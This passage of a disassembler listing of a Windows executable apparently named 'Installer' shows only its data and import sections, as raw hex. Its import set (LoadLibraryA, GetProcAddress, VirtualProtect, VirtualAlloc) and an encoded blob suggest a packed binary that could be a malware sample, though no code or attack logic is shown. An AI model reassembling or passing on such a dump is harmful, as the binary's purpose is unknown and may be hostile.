50545058h, 0D5FF5753h, 448D6158h, 6A8024h dd 0FA75C439h, 0E980EC83h, 0FFFF1527h, 1FBh dup(0) db 2 dup(0) word_41098E dw 0 ; DATA XREF: sub_407191+3AFo align 800h _data ends ; Section 3. (virtual address 00011000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00011000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 411000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 2 dup(0) dd 4, 20001h, 800000E8h, 80000028h, 5, 80000068h, 18h dd 800000A8h, 2 dup(0) dd 4, 10000h, 68h, 80000040h, 2 dup(0) dd 4, 10000h, 409h, 58h, 40F0h, 9200h, 4E4h, 3 dup(0) dd 4, 10000h, 69h, 80000080h, 2 dup(0) dd 4, 10000h, 422h, 98h, 0D2F0h, 3D4h, 4E4h, 3 dup(0) dd 4, 10000h, 1, 800000C0h, 2 dup(0) dd 4, 10000h, 409h, 0D8h, 110F4h, 205h, 4E4h, 0 dd 420003h, 4E0049h, 0D6C4h, 6D783F3Ch, 6576206Ch, 6F697372h dd 31223D6Eh, 2022302Eh, 6F636E65h, 676E6964h, 5455223Dh dd 22382D46h, 61747320h, 6C61646Eh, 3D656E6Fh, 73657922h dd 0D3E3F22h, 73613C0Ah, 626D6573h, 7820796Ch, 736E6C6Dh dd 7275223Dh, 63733A6Eh, 616D6568h, 696D2D73h, 736F7263h dd 2D74666Fh, 3A6D6F63h, 2E6D7361h, 20223176h, 696E616Dh dd 74736566h, 73726556h, 3D6E6F69h, 302E3122h, 0A0D3E22h dd 613C2020h, 6D657373h, 49796C62h, 746E6564h, 20797469h dd 73726576h, 3D6E6F69h, 302E3122h, 302E302Eh, 200A0D22h dd 20202020h, 636F7270h, 6F737365h, 63724172h, 65746968h dd 72757463h, 58223D65h, 0D223638h, 2020200Ah, 616E2020h dd 223D656Dh, 74736E49h, 656C6C61h, 0A0D2272h, 20202020h dd 70797420h, 77223D65h, 32336E69h, 0D3E2F22h, 3C20200Ah dd 73757274h, 666E4974h, 6D78206Fh, 3D736E6Ch, 6E727522h dd 6863733Ah, 73616D65h, 63696D2Dh, 6F736F72h, 632D7466h dd 613A6D6Fh, 762E6D73h, 0D3E2232h, 2020200Ah, 65733C20h dd 69727563h, 0D3E7974h, 2020200Ah, 3C202020h, 75716572h dd 65747365h, 69725064h, 656C6976h, 3E736567h, 20200A0Dh dd 20202020h, 723C2020h, 65757165h, 64657473h, 63657845h dd 6F697475h, 76654C6Eh, 0A0D6C65h, 2 dup(20202020h), 656C2020h dd 3D6C6576h, 49736122h, 6B6F766Eh, 0D227265h, 2020200Ah dd 20202020h, 75202020h, 63634169h, 3D737365h, 6C616622h dd 2F226573h, 200A0D3Eh, 20202020h, 722F3C20h, 65757165h dd 64657473h, 76697250h, 67656C69h, 0D3E7365h, 2020200Ah dd 732F3C20h, 72756365h, 3E797469h, 20200A0Dh, 72742F3Ch dd 49747375h, 3E6F666Eh, 2F3C0A0Dh, 65737361h, 796C626Dh dd 4441503Eh, 411350h, 2 dup(0) dd offset dword_411350 dd offset dword_411350 dd offset dword_411358 dd 2 dup(0) dd offset dword_411358 dd offset dword_411358 dd 5 dup(0) dd 7C801D77h, 7C80ADA0h, 7C801AD0h, 7C809A51h, 7C809AE4h dd 7C81CDDAh dword_411350 dd 0 ; .rdata:0041130Co dd 7E41A8ADh dword_411358 dd 0 ; .rdata:0041131Co ... dd 4E52454Bh, 32334C45h, 4C4C442Eh, 45535500h, 2E323352h dd 6C6C64h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h dd 41636F72h, 65726464h, 7373h, 74726956h, 506C6175h, 65746F72h dd 7463h, 74726956h, 416C6175h, 636F6C6Ch, 69560000h, 61757472h dd 6572466Ch, 65h, 74697845h, 636F7250h, 737365h, 73770000h dd 6E697270h, 416674h, 30Ah dup(0) _rdata ends ; Section 4. (virtual address 00012000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00012000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _idata segment para public 'DATA' use32 assume cs:_idata ;org 412000h dd 7C8260C2h, 7C80BAA1h, 7C830D74h, 7C809AE4h, 7C80B974h dd 7C80239Ch, 7C910340h, 7C8360DDh, 7C80BB76h, 7C80B905h dd 7C80998Dh, 7C809FB5h, 7C809B47h, 7C85F229h, 7C85F03Ch dd 7C80BE89h, 7C80A7D4h, 7C80B6A1h, 7C8017E5h, 7C8111DAh dd 0 dd 7E44EEA0h, 7E4196B8h, 7E41DAEAh, 7E43E53Fh, 7E44FB60h dd 7E439AF0h, 7E42BADBh, 7E455BD7h, 7E41C66Eh, 7E41AEF1h dd 7E42D32Ah, 0 dd 12114h, 2 dup(0) dd 1220Eh, 12054h, 120C0h, 2 dup(0) dd 1236Ch, 12000h, 5 dup(0) dd 12264h, 12360h, 12354h, 12346h, 12334h, 1232Ah, 1231Ah dd 12302h, 122EEh, 122DEh, 122D0h, 122C0h, 1221Ah, 12228h dd 1223Eh, 12254h, 12274h, 12284h, 12298h, 122B2h, 0 dd 12200h, 121ECh, 121DCh, 121CEh, 121BAh, 1219Ch, 1218Ah dd 12178h, 1216Ch, 1215Eh, 12144h, 0 dd 63410000h, 61766974h, 654B6574h, 616F6279h, 614C6472h dd 74756F79h, 280000h, 72616843h, 654F6F54h, 416Dh, 6F430040h dd 65527970h, 7463h, 72430046h, 65746165h, 6B736544h, 41706F74h dd 470000h, 61657243h, 65446574h, 6F746B73h, 5770h, 72430048h dd 65746165h, 6C616944h, 6E49676Fh, 65726964h, 61507463h dd 416D6172h, 500000h, 61657243h, 444D6574h, 6E695749h dd 41776F64h, 780000h, 44666544h, 7250676Ch, 41636Fh, 65440087h dd 6F727473h, 6E695779h, 776F64h, 6944008Ch, 74617073h dd 654D6863h, 67617373h, 4165h, 724400A1h, 74537761h, 41657461h dd 73750000h, 32337265h, 6C6C642Eh, 1A0000h, 736F6C43h dd 6E614865h, 656C64h, 6E450070h, 65526D75h, 72756F73h dd 614E6563h, 4173656Dh, 720000h, 6D756E45h, 6F736552h dd 65637275h, 65707954h, 4173h, 694600A2h, 6552646Eh, 72756F73h dd 416563h, 724600B5h, 65526565h, 72756F73h, 6563h, 654700FEh dd 636F4C74h, 69546C61h, 656Dh, 65470109h, 646F4D74h, 48656C75h dd 6C646E61h, 4165h, 65470142h, 73795374h, 546D6574h, 41656D69h dd 6C694673h, 6D695465h, 1590065h, 56746547h, 69737265h dd 6E6Fh, 6F4C01A9h, 65526461h, 72756F73h, 6563h, 6F4C01AAh dd 416C6163h, 636F6C6Ch, 1BA0000h, 5670614Dh, 4F776569h dd 6C694666h, 1CB0065h, 6E65704Fh, 656C6946h, 7070614Dh dd 41676E69h, 2290000h, 43746553h, 65727275h, 6944746Eh dd 74636572h, 4179726Fh, 23C0000h, 4C746553h, 45747361h dd 726F7272h, 2610000h, 65656C53h, 784570h, 6E550277h dd 5670616Dh, 4F776569h, 6C694666h, 2830065h, 74726956h dd 466C6175h, 656572h, 736C02B7h, 6D637274h, 4170h, 736C02B9h dd 6D637274h, 416970h, 6E72656Bh, 32336C65h, 6C6C642Eh dd 96h dup(0) dd 2A6F5030h, 49596968h, 62432469h, 7B5C3D1Eh, 30755637h dd 492A6F50h, 1F192469h, 21282C28h, 8F7D2E2Fh, 40F10449h dd 78275A3Ah, 1AC78F8Fh, 280h dup(0) _idata ends ; Section 5. (virtual address 00013000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00013000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 413000h align 2000h _idata2 ends end start